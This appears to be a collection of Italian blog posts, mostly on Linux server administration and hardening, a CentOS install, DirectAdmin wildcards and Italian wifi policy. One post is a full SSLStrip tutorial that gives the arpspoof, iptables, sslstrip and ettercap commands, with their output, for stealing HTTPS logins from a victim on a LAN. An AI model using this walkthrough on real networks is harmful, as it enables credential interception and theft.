Per un servizio che è costantemente esposto sulla rete i nomi utente giocano un ruolo molto importante se non fondamentale. Da molti bruteforce subiti, sicuramente da parte di bot che scansionano la rete alla ricerca di sistemi vulnerabili, i nome utente più attaccati sono: root, admin, administrator, testing, spam, postgres, ftpuser, user, newsletter, fax, ftp, office, training, demo, oracle, master, contact, staff, sales, backup, info, test, marketing, smtp, bob, windows, webmaster, mysql, anonymous, guest, ecc., quindi di conseguenza utilizzare questi nome utente per i servizi non è un’idea molto buona, usare questi username si semplifica del 50% il compito di un eventuale attaccante.
Una buona soluzione è quella di utilizzare per i nome utente regole simili quelle delle passwords o quasi. Per esempio, all’utente Mario Rossi si potrebbe impostare un nome utente tipo “MarioRossi123z” oppure “mrossi56ScF” e così via. La stesso concetto si può estendere anche agli accessi ftp o mail se si fornisce un servizio di hosting o simili.
Vietare l’accesso ssh agli utenti e non permettere l’utilizzo di shell, altrimenti un utente malintenzionato potrebbe compilare o caricare un eseguibile con un bug costruito ad hoc e attraverso esso ottenere i privilegi di root. Impostando la partizione /home con noexec, vietando agli utenti l’utilizzo di shell e dei compilatori possiamo stare relativamente tranquilli.

Volendo essere paranoici ci si può costruire uno script che analizza ogni ora o mezzora i log di sistema e ad un tot numero di login falliti da parte di un ip metta in banlist lo stesso. Ci si può inventare un pò di tutto, basta un pò di fantasia.

Servizi

I servizi senza ombra di dubbio sono la via d’accesso dei nostri potenziali intrusi, dire che bisogna mantenere aggiornato il software è abbastanza scontato, quindi, la prima regola è un update di sicurezza giornaliero.
La scelta migliore che si possa fare è chiudere tutti i servizi che non ci servono e rinforzare quelli che offriamo. Come prima cosa eliminare totalmente telnet e simili, se per caso sono installati, ma ormai neanche nelle installazioni di default ci stanno sti servizi. Successivamente controlliamo quali servizi sono aperti digitando da terminale:

netstat -t -u -l

oppure se preferiamo il numero delle porte

netstat -t -u -l --numeric-ports

dovremmo ottenere un output simile a questo

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address      Foreign Addr  State
tcp        0      0 *:pop3s                *:*       LISTEN
tcp        0      0 *:mysql                *:*       LISTEN
tcp        0      0 *:pop3                 *:*       LISTEN
tcp        0      0 *:imap                 *:*       LISTEN
tcp        0      0 localhost.locald:domain*:*       LISTEN
tcp        0      0 *:smtp                 *:*       LISTEN
tcp        0      0 *:imaps                *:*       LISTEN
tcp        0      0 *:http                 *:*       LISTEN
tcp        0      0 *:domain               *:*       LISTEN
tcp        0      0 *:ftp                  *:*       LISTEN
tcp        0      0 *:https                *:*       LISTEN
tcp        0      0 *:ssh                  *:*       LISTEN
udp        0      0 localhost.locald:domain*:*
udp        0      0 localhost.locald:domain*:*
udp        0      0 *:36593                *:*
udp        0      0 *:domain               *:*

Vediamo dove intervenire

Mettere in sicurezza SSH

Come detto in precedenza solo gli admin o l’admin dovrebbe essere abilitato a questo accesso, gli altri utenti non devono poter accedere a questo servizio. Inoltre, molto importante è disabilitare l’accesso all’utente root, i privilegi di superutente verranno acquisiti dagli admin tramite il comando su.
Apriamo il file /etc/ssh/sshd_config con un editor, per disabilitare l’accesso a root, lasciare l’accesso solo ad alcuni utenti e vietare l’uso di password vuote, modificare come segue le seguenti linee

PermitRootLogin no
AllowUsers pincopallino, secondopinco
PermitEmptyPasswords no

Una buona idea è cambiare la porta predefinita del servizio e forzare l’utilizzo del protocolo 2

Port 65000
Protocol 2

eventualmente per impedire l’utilizzo di sftp commentare la riga

#Subsystem    sftp    /usr/libexec/openssh/sftp-server

eventualmente se si volesse modificare il banner di presentazione del servizio, prima bisogna de-commentare la seguente riga e successivamente impostare una path dove salvare un file di testo con il banner

#Banner /some/path

modificato tutto, bisogna riavviare il servizio sshd stando attenti a non fare alcun errore, se si opera in remoto si rischia di autoescludersi dal sistema.

In caso la paranoia si fa sentire, si può abilitare l’accesso a ssh soltanto in possesso di una chiave crittografica impostando nel file di configurazione

PubkeyAuthentication yes

successivamente bisognerà generare una chiave privata e una pubblica per ogni utente a cui si vuole dare l’accesso, maggiori informazioni su http://sial.org/howto/openssh/publickey-auth o http://www.openssh.com, l’accesso si effettua soltanto con la chiave e non verrà richiesta alcuna password.
Inoltre, possiamo fare in modo che ogni utente loggato lavori in un abiente simile ad un sistema linux ma limitato di alcuni comandi utilizzando un fake chroot, oppure, possiamo prevedere l’apertura della porta ssh con il port knocking (la classica bussata segreta) per queste e altre tecniche rimando sempre al sito ufficiale di openssh, altrimenti questo articolo diventerebbe troppo lungo.

Gli altri servizi

Secondo il mio punto di vista sono da prediligere pop3s, smtps e imaps e da chiudere pop3, smtp e imap a meno che non abbiate degli utenti che li utilizzano, in tal caso bisognerà costruire una specie di piano d’uscita da questi servizi obsoleti.

Limitare un SYN Flood

Questo era un attacco DOS molto comune alla fine del secolo scorso, le recenti impostazioni di rete tendono a limitare o annullare del tutto questo tipo di attacco. L’attacco tende a saturare le risorse di sistema, una descrizione dell’attacco la si può trovare su http://www.cert.org/advisories/CA-1996-21.html . Per limare ulteriolmente le impostazioni di sicurezza rispetto a quelle della vostra rete si possono utlizzare i SYN cookies, essi limitano il numero di richieste da parte di un singolo utente. Aprire il file /etc/sysctl.conf (è un file di configurazione del kernel) ed editare le seguenti linee

#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = xxx
net.ipv4.tcp_synack_retries = 2

e le successive linee per la protezione contro l’IP Spoofing

# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

poi se si desidera configurare la distribuzione come un firewall possiamo utilizzare la configurazione proposta da http://openskill.info/infobox.php?ID=1166

net.ipv4.ip_forward = 1
net.ipv4.ip_dynaddr = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_sack = 0
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_window_scaling = 0
net.ipv4.tcp_syn_retries = 3
net.ipv4.tcp_synack_retries = 3
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1
kernel.printk = 1 4 1 7
##
net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.forwarding=0
net.ipv4.conf.all.mc_forwarding=0
net.ipv4.vs.timeout_timewait=60

Conclusioni

Secondo il mio punto di vista questo è il minimo sindacale per mettere in sicurezza il nostro sistema esposto ai rischi della rete. Certo l’hardening non finisce qua, anzi, questa è solo la punta dell’iceberg, è compito di ogni sistemista documentarsi e apprendere giorno per giorno nuove tecniche, anche tentando di violare i propri sistemi per saggiarne la sicurezza.

In rete si trovano numerosi script che ci aiutano in questo compito, magari in un prossimo futuro farò un articolo in merito.

Saluti

Continuano i miei “giochi” su CentOS, oggi vedremo come installare CentOS recuperando i file di installazione dalla rete utilizzando l’immagine netinstall. Inoltre, vedremo anche come configurare un’installazione minima, senza interfaccia grafica, utile per un server web, mail, e tutto quello che potrebbe offrirci un server. Non servono particolari conoscenze per installare CentOS, un minimo di conoscenze dei sistemi linux possono bastare.

Come prima cosa bisogna recuperare l’immagine di avvio, esistono diversi mirrors da cui scaricare l’immagine che ci interessa, io utilizzo spesso http://mirrors.kernel.org ma nessuno vieta di utilizzare altri server mirror compresi gli ftp pubblici. Ci spostiamo tra le cartelle e raggiungiamo http://mirrors.kernel.org/centos/5/isos/ , qui dobbiamo scegliere l’architettura che ci interessa, nel mio caso i386 e scaricare l’immagine iso con il suffisso -netinstall che nel mio caso è http://mirrors.kernel.org/centos/5/isos/i386/CentOS-5.6-i386-netinstall.iso. Masterizzare l’iso su un cd, reboot e avvio dell’immagine, oppure, configurare una macchina virtuale.

Alla schermata di boot premete invio per far iniziare l’installazione, come al solito rispondete ad un po’ di domande tipo la scelta della lingua (consiglio evitare di scegliere il cinese, è un po’ complicato ) e il layout della tastiera fino ad arrivare alla schermata “Metodo d’installazione”.

A questo punto bisogna indicare dove si trovano i file di installazione, nel nostro caso si trovano su http://mirrors.kernel.org/centos/5/os/i386/ , quindi dobbiamo selezionare come “Media” il protocollo HTTP e cliccare OK.

Ci verrà chiesto di configurare la scheda di rete del nostro server, sia con ipv4 che con ipv6. Possiamo fare due scelte: lasciamo tutto automatico e a post-installazione impostiamo un indirizzo statico (tramite interfaccia grafica); oppure, impostiamo manualmente la scheda, io ho optato per la seconda opzione.

Siamo arrivati al punto cruciale di questa guida, appena impostata la scheda di rete ci verrà chiesto da dove reperire i file di installazione. Ci verrà chiesto di inserire il “nome del sito web”, è il dominio dove sono ospitati i files, inserire il nome senza il protocollo (l’avevamo già scelto in precedenza), nel nostro caso:

mirrors.kernel.org

e come “Directory CentOS” inseriamo

centos/5/os/i386/

rispettiamo rigorosamente gli slash, tenera presente che “http://” viene aggiunto in automatico prima del dominio, stessa cosa per lo slash “/” dopo il dominio. Al posto del nome di dominio si può mettere anche un indirizzo ip. Se precedentemente avete scelto un altro media verranno richiesti i parametri per quel tipo di connessione.

Inizierà il recupero dei file di installazione dalla rete, al termine verrà visualizzata l’interfaccia grafica per l’installazione di CentOS. Verranno richieste le solite impostazioni: partizioni disco, impostazione schede di rete, fuso orario e password di root. La schermata successiva all’impostazione della password di root è la scelta del tipo di configurazione, nel nostro caso scegliamo “server” e omettiamo di installare l’interfaccia grafica (orpello inutile e spreca-risorse per un server web), in questo passo possiamo scegliere di installare anche servizi aggiuntivi e aggiungere servizi all’installazione minimale, es: mysql, dns, posta, ecc. Cliccando avanti parte l’installazione, riavviare il sistema senza cd.

Al primo avvio partirà il tool di configurazione dei servizi (demoni, firewall, Selinux, ecc.), in caso il tool non parte o viene annullato si può farlo ripartire lanciando “setup” dopo il login.

Se si è scelto di installare il tutto su una macchina virtuale e la scheda di rete è impostata in bridge, in caso di mancata risoluzione dei dns modificare il file:

/etc/sysconfig/network-scripts/ifcfg-eth0

aggiungendo le seguenti stringhe alla fine (DNS1 è un esempio, DNS2 è OpenDNS)

DNS1=192.168.1.254
DNS2=208.67.222.222

Di seguito le immagini in sequenza per i più pigri che si scocciano a leggere tutto quello che ho scritto.

Saluti Arturu.it

Recentemente ho avuto la necessità di attivare le WildCard su un server che gestisco. Visto che non esistono guide in italiano ne pubblico una io per chi si dovesse trovare nella mia stessa situazione. Il procedimento non è complesso e non richiede una conoscenza approfondita, ma ciò non toglie che quando si vanno a fare questo tipo di operazioni una conoscenza e una coscienza di quello che si sta facendo è obligatoria. Come prima cosa bisogna inserire un nuovo record DNS per il dominio che ci interessa:

* A INDIRIZZO_IP_DEL_SERVER

dove INDIRIZZO_IP_DEL_SERVER è l’indirizzo ip del server dove risiede il dominio su cui attivare le WildCard es:

* A 8.8.8.8

Ora dobbiamo modificare il file httd.conf di apache relativo ai virtualhost. ATTENZIONE: questo file non si trova in /etc/httpd ma è “linkato” da DirectAdmin in altra posizione. Questo file di configurazione lo possiamo modificare manualmente o dall’interfaccia di DirectAdmin, ognuno scelga il modo che preferisce.

Modifica manuale

Questo è il metodo che preferisco perché mi piace tenere sotto controllo tutto, e specialmente, non mi fido tanto delle interfaccie grafiche.

1. Recarsi nella cartella /usr/local/directadmin/data/users ed entrare nella cartella dell’utente che ci interessa
2. Aprire il file httpd.conf
3. modificare la linea ServerAlias, relativa al dominio che ci interessa nel seguente modo

4. ServerAlias *.il_tuo_dominio.tld

5. Salvare e uscire.
   

Modifica con interfaccia Grafica

1. Recarsi al Livello Amministratore
2. Cliccare su Configurazione HTTPD Personalizzata
3. Selezionare il dominio che ci interessa e aggiungere la seguente linea

4. ServerAlias *.|DOMAIN|

Applicazione delle modifiche

Dopo questa operazione bisogna riavviare httpd e named. I domini di terzo livello attivati automaticamente con le WildCard saranno visibili dopo che il nuovo record DNS si sarà diffuso per la Rete. Tenere presente che se usate OpenDNS per la vostra connessione ci vogliono un paio d’ore prima che i domini di terzo livelli costruiti in automatico siano visibili, se usate la gestione dei DNS del vostro server la visibilità è immediata, invece, usando quelle dell’adsl (alice, tiscali, ecc.) ci vogliono fino a 72 ore dall’inserimento del record DNS.

Un consiglio per chi usa sftp per modificare i file, nautilus e gedit hanno il vizio di cambiare user quando salvano i file, o meglio impostano l’user di chi ha effettuato l’accesso, ma questo è un altro discorso; tenete presente che se qualche servizio si blocca dopo aver modificato un file con sftp, un chown può risolvere i problemi. In questo caso il proprietario del file appena modificato è 100 e come gruppo quello dell’utente a cui appartiene il dominio.

Saluti

Da molto tempo cerco una soluzione per vedere i programmi Rai su Ubuntu, oggi su Rai Tre mentre vedevo uno dei miei programmi preferiti: Va’ Pensiero (tre secoli dell’opera lirica spiegata da Antonio Pappano); improvvisamente Rai Tre non si vede più. Panico!!! Faccio partire il mio Ubuntu e dopo 10 secondi sono sul sito Rai. Come tutti sanno, la Rai ha scelto di adottare un sistema proprietario della Microsoft per diffondere in rete i suoi canali televisivi: Silverlight. Questa scelta per chi utilizza Ubuntu o i sistemi linux in generale è una tragedia, perché, anche se esiste una alternativa open (Moonlight) sui siti Rai non ha mai funzionato o funzionato male. L’ultima volta che ho provato ad installare Silverligh mi faceva vedere solo la pubblicità, quando andava a caricare il video mi usciva un avviso che mi avvertiva che Silverlight non era installato, bho, ancora non mi sono spiegato il perché funzionasse soltanto quando c’era della pubblicità da visionare.

Oggi è successo un evento che mi ha fatto risolvere il problema, potenza della lirica?

Installo per l’ennesima volta Moonlight (Silverlight per il mondo Open):

• vado sul sito http://www.go-mono.com/moonlight/download.aspx e clicco su download, (utilizzare http://go-mono.com/moonlight/download.aspx in caso non funzionasse il primo, link segnalato nei commenti da Leonardo);
• mi si apre la finestrella di installazione dei plugin di firefox e clicco su installa;
• aspetto il download (14Mb circa) e riavvio firefox;

A questo punto vado sul sito della Rai e mi appare una finestra che fino ad oggi non mi era mai apparsa: “Moonlight Codecs Installer”, praticamente sono dei codec per leggere i video (non potevano usare lo stesso codec della pubblicità, visto che funziona?):

• clicco su “Install Codecs”;
• accetto la licenza della Microsoft (erano anni che non vedevo una richiesta simile);
• inizia il download, appena finito clicco su Chiudi.
• Ricarico la pagina, mi sorbisco altri 30 secondi di pubblicità, e FUNZIONA!!!

Monto contento mi finisco di vedere la mia puntata e mi faccio una domanda, funzionerà anche sul portatile? Rifaccio tutto il procedimento e… si sente l’audio ma il video non si vede. GRRR… Calma!!! E’ solo un problema di impostazioni, se sul fisso ha funzionato perché non deve funzionare anche sul portatile?

• clic con il tasto destro dentro il player e scelgo “Moonlight Settings”;
• clic sull’ultima scheda “Advanced” e tolgo l’impostazione “Use hardware accelleration”, sul mio vecchiotto portatile la scheda video non ha accelleraizone hardware.

Spero di esser stato utile, subito sotto le immagini in sequenza per chi non ha voglia di leggere tutto quello che ho scritto.

Arturu.it

Arezzo Mattina del 29 Aprile – Si è sviluppato un incendio nella zona degli UPS di Aruba, attualmente i server sono stati spenti per sicurezza (a quanto dice Aruba), quindi mezzo web italiano non è raggiungibile. A quanto sembra si presenta una mattinata lunga per chi ha ospitato presso Aruba il proprio servizio web, posta, posta certificata e altro, circa mezzo web italiano, si è parlato di circa un milione di domini.

Aruba per correre ai ripari ha aperto un account su twitter a questo indirizzo: http://twitter.com/#!/Arubait, le prime informazioni sono state queste:

Arubait Aruba it

Aruba:Causa principio di incendio nella serverfarm principale si è attivato l’energit poweroff togliendo energia alla struttura

 

Arubait Aruba it

sono in corso le verifiche e le operazioni di messa in sicurezza della zona. seguiranno aggiornamenti.

Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All’interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell’attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell’attaccante diventa un “nodo invisibile” su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.

Configurazione di SSL Strip

Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.

La prima operazione da fare è scaricare SSLStrip da: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz

Scompattare il pacchetto, utilizzare “tar -zxvf sslstrip-0.4.tar.gz” se si sta operando da terminale.

arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$

Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con “python setup.py build” (è necessario avere installato l’interprete python)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -> build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Successivamente bisogna installare tutto con il comando “sudo python setup.py install”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Appena installato SSLStrip, bisogna procedere all’installazione di arpspoof. Arpspoof è un programma che fa credere ad un host (computer della vittima) che l’indirizzo MAC dell’attaccante è l’indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all’attaccante tutto il suo traffico di rete; il kernel dell’attaccante, ad eccezione per il traffico destinato alla porta 80, reindirizza tutto a $ listenPort (10000, per esempio).

Installiamo arpspoof con il comando “sudo apt-get install dsniff” e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando “sudo apt-get install ettercap”.

Adesso che abbiamo installato tutto il software si può passare all’utilizzo.

Utilizzo di SSLStrip

Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all’interno della rete LAN, da terminale digitiamo “ifconfig”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull’interfaccia wireless, l’ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l’ho modificato perché non mi va di pubblicarlo).

Bisogna trovare l’indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale ” ip route show | grep default | awk ‘{ print $3}’ “

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

in questo caso l’indirizzo del gateway è 10.10.100.254.
Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.
Nel primo tab eseguire “sudo arpspoof -t 10.10.100.2 10.10.100.254″, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00

Nella seconda scheda eseguiamo il comando “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1000″, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Subito dopo facciamo partire “sslstrip” e si lascia in esecuzione

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...

Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando “sudo ettercap -Tqz”, aspettiamo che la nostra vittima digiti login e password su una connessione “sicura”, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan... (Wireless)
  wlan0 ->	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.

Utilizzo di SSLStrip secondo la documentazione

Secondo gli autori di SSLStrip l’utilizzo del tool dovrebbe essere il seguente:

• Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.

Un articolo interessante si può leggere su: http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html ma ancora non ho avuto il tempo di provare.

Funziona sempre?

Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l’attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l’attacco non va a buon fine, ma l’utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l’utente può decidere di abbandonare la connessione (comunque se l’utente accetta il certificato viene restituita una pagina bianca), invece con Opera l’attacco va a buon fine.

Soluzioni

Per ora le soluzioni che mi sento di suggerire sono:

• Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;
• Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);
• Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX

Saluti Arturu.it

PS Come tutti hanno capito non si trattava di un articolo che parla dello “Strip” Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l’articolo è finito…

Ultimamente nel panorama politico italiano si ritorna a discutere di connettività senza fili, tema a me molto caro che i miei lettori conoscono bene perché molto spesso me ne esco con questa tematica. In passato ho parlato di come il Wi-Max italiano sarebbe miseramente fallito a causa di scelte governative poco intelligenti, tecnologia che in altri paesi come il Giappone permette di collegarsi a fino a 200 Mbit/s con un raggio massimo di 50 Km dalla stazione (Articolo 1, Articolo 2).

Da qualche giorno il dibattito politico si è spostato sull’abrogazione dell’articolo 7 del decreto Pisanu (155/2005). L’articolo obbligava i gestori di tutti gli esercizi pubblici (internet point, bar, biblioteche, università…) che offrivano la connessione Internet alla richiesta di una speciale licenza al questore, nonché all’identificazione degli utenti tramite documento di identità. Il Decreto, tra le varie disposizioni si proponeva di impedire a dei terroristi di collegarsi alla Rete senza essere identificati, in realtà si è trasformato in un muro alla diffusione della nascente (si fa per dire) tecnologia Wi-Max in Italia. L’aspetto più grave è che questa disposizione si è dimostrata totalmente inutile, in quanto le attenzioni di molti “criminali” si sono rivolte verso gli access-point wireless dei privati (il più delle volte installati da utenti poco esperti), i “punti wireless” dei privati sono facilmente violabili consentendo l’accesso in totale anonimato a chiunque, anzi, sotto l’identità del povero malcapitato (Articolo 1, Articolo 2). Si è costruito così un falso senso di sicurezza. Siamo sicuri che nessuna rete wi-fi è stata mai violata da un “Terrorista”?! non lo sapremo mai perché tutti si sentivano sicuri e non si è indagato su questo. Forse era più saggio monitorare gli accessi anonimi con delle parole chiave tipo “bomba,innesco,c4,ecc”, si è preferito alzare il tappeto e buttare la polvere sotto…

Da wired.it:

L’intenzione di Linda Lanzillotta, Paolo Gentiloni e Luca Barbareschi era quella di riaccendere i riflettori politici e istituzionali sul problema del wi-fi, il primo passo è fatto. La proposta dei tre, che mette d’accordo opposizioni e Futuro e Libertà, ha infatti trovato sostegno praticamente incondizionato alla Camera e l’ipotesi che la connessione senza fili possa proliferare indisturbata prima di Natale si fa sempre più concreta. A favore dell’abolizione dell’articolo 7 del Decreto Pisanu del 2005 si è schierata anche l’Udc, attraverso la sottoscrizione della proposta da parte di Roberto Raho. Pareri favorevoli sono arrivati anche da parte della Lega Nord e del Pdl, con una netta presa di posizione del Club della libertà. La sensibilità dell’Idv è inoltre manifesta da tempo. Quindi, se la matematica non è un’opinione e non essendo necessario mettersi a contare con calcolatrici o pallottolieri di sorta, la maggioranza c’è ed è schiacciante e l’intenzione di mettere mano al regola che prevede che chiunque si colleghi a Internet da una connessione pubblica debba essere identificato con un documento d’identità non è in discussione.

